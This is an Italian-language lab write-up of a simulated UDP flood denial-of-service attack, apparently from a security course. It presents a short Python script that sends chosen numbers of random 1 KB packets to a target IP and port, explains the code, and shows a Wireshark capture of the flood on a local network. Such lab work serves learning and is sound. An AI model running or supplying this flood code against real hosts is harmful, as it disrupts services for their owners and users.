

Attacchi DoS (Denial of Service)

Simulazione di un UDP Flood

Obiettivo:

L'obiettivo dell'attività è stato apprendere le tecniche per la generazione e l'invio di pacchetti UDP a una macchina target all'interno di una rete locale grazie ad un codice scritto in Python.

```
1 import socket
2 import random
3
4 def generate_packet(size=1024):
5     # Genera un pacchetto di byte casuali di dimensione specificata
6     return bytes(random.getrandbits(8) for _ in range(size))
7
8 def main():
9     # Input dell'IP e porta target
10    target_ip = input("Inserisci l'IP della macchina target: ")
11    target_port = int(input("Inserisci la porta UDP della macchina target: "))
12
13    # Numero di pacchetti da inviare
14    packet_count = int(input("Quanti pacchetti da 1 KB vuoi inviare? "))
15
16    # Configurazione del socket UDP
17    with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock:
18        for i in range(packet_count):
19            packet = generate_packet()
20            sock.sendto(packet, (target_ip, target_port))
21            print(f"Pacchetto {i+1} inviato a {target_ip}:{target_port}")
22
23    print("Invio dei pacchetti completato.")
24
25 if __name__ == "__main__":
26    main()
```

Moduli Importati

- **Socket**: Nel nostro caso, viene usato per creare un socket UDP e inviare pacchetti alla macchina target.
- **Random**: Questo modulo viene usato per generare byte casuali, che ci permettono di riempire i pacchetti da inviare.

Funzione **generate_packet**

Questa funzione crea pacchetti di byte casuali di una dimensione specificata (default: 1024 byte o 1 KB).

socket.socket(socket.AF_INET, socket.SOCK_DGRAM): Crea un socket UDP.

socket.AF_INET specifica l'indirizzo IP v4.

socket.SOCK_DGRAM specifica che si sta utilizzando il protocollo UDP.

Ciclo di Invio

`for i in range(packet_count):` Un ciclo `for` che si ripete per il numero di pacchetti specificato dall'utente.

- `generate_packet()`: Chiama la funzione per generare un pacchetto di 1 KB di byte casuali.
- `sock.sendto(packet, (target_ip, target_port))`: Invia il pacchetto alla macchina target sull'indirizzo IP e sulla porta specificata.
- `print(f"Pacchetto {i+1} inviato a {target_ip}:{target_port}")`: Stampa un messaggio di conferma per ogni pacchetto inviato, mostrando il numero del pacchetto e la destinazione.

Una volta eseguito il codice sul terminale di Kali Linux ci verrà chiesto di inserire 3 input, l'IP della macchina target, la porta UDP e il numero dei pacchetti che si vogliono inviare.

Dato l'invio dei pacchetti possiamo verificare con Wireshark tutto il flusso di pacchetti che viene inviato.

IP SORGENTE: 192.168.1.2

IP VITTIMA: 192.168.1.41

	No. Time Source Destination Protocol Length Info						
	13848	216.340623577	192.168.1.2	192.168.1.41	UDP	1066	50962 → 44444 Len=1024
	13849	216.340744285	192.168.1.2	192.168.1.41	UDP	1066	50962 → 44444 Len=1024
	13850	216.340865673	192.168.1.2	192.168.1.41	UDP	1066	50962 → 44444 Len=1024
	13851	216.340988265	192.168.1.2	192.168.1.41	UDP	1066	50962 → 44444 Len=1024
	13852	216.341109107	192.168.1.2	192.168.1.41	UDP	1066	50962 → 44444 Len=1024
	13853	216.341229452	192.168.1.2	192.168.1.41	UDP	1066	50962 → 44444 Len=1024
	13854	216.341349980	192.168.1.2	192.168.1.41	UDP	1066	50962 → 44444 Len=1024
	13855	216.341471112	192.168.1.2	192.168.1.41	UDP	1066	50962 → 44444 Len=1024
	13856	216.341593522	192.168.1.2	192.168.1.41	UDP	1066	50962 → 44444 Len=1024
	13857	216.341713998	192.168.1.2	192.168.1.41	UDP	1066	50962 → 44444 Len=1024
	13858	216.341834794	192.168.1.2	192.168.1.41	UDP	1066	50962 → 44444 Len=1024
	13859	216.341975214	192.168.1.2	192.168.1.41	UDP	1066	50962 → 44444 Len=1024
	13860	216.342097361	192.168.1.2	192.168.1.41	UDP	1066	50962 → 44444 Len=1024
	13861	216.342217409	192.168.1.2	192.168.1.41	UDP	1066	50962 → 44444 Len=1024
	13862	216.342338170	192.168.1.2	192.168.1.41	UDP	1066	50962 → 44444 Len=1024
	13863	216.342457423	192.168.1.2	192.168.1.41	UDP	1066	50962 → 44444 Len=1024
	13864	216.342579647	192.168.1.2	192.168.1.41	UDP	1066	50962 → 44444 Len=1024
	13865	216.342700678	192.168.1.2	192.168.1.41	UDP	1066	50962 → 44444 Len=1024
	13866	216.342821217	192.168.1.2	192.168.1.41	UDP	1066	50962 → 44444 Len=1024
	13867	216.342941429	192.168.1.2	192.168.1.41	UDP	1066	50962 → 44444 Len=1024
	13868	216.343064337	192.168.1.2	192.168.1.41	UDP	1066	50962 → 44444 Len=1024
	13869	216.343186213	192.168.1.2	192.168.1.41	UDP	1066	50962 → 44444 Len=1024
	13870	216.343307221	192.168.1.2	192.168.1.41	UDP	1066	50962 → 44444 Len=1024
	13871	216.343428363	192.168.1.2	192.168.1.41	UDP	1066	50962 → 44444 Len=1024
	13872	216.343549383	192.168.1.2	192.168.1.41	UDP	1066	50962 → 44444 Len=1024
	13873	216.343690920	192.168.1.2	192.168.1.41	UDP	1066	50962 → 44444 Len=1024
	13874	216.343817795	192.168.1.2	192.168.1.41	UDP	1066	50962 → 44444 Len=1024
	13875	216.343938582	192.168.1.2	192.168.1.41	UDP	1066	50962 → 44444 Len=1024
	13876	216.344205589	192.168.1.2	192.168.1.41	UDP	1066	50962 → 44444 Len=1024
	13877	216.344338070	192.168.1.2	192.168.1.41	UDP	1066	50962 → 44444 Len=1024

In conclusione

Possiamo dire che questo codice è utile per comprendere come inviare pacchetti UDP e configurare una simulazione di traffico di rete.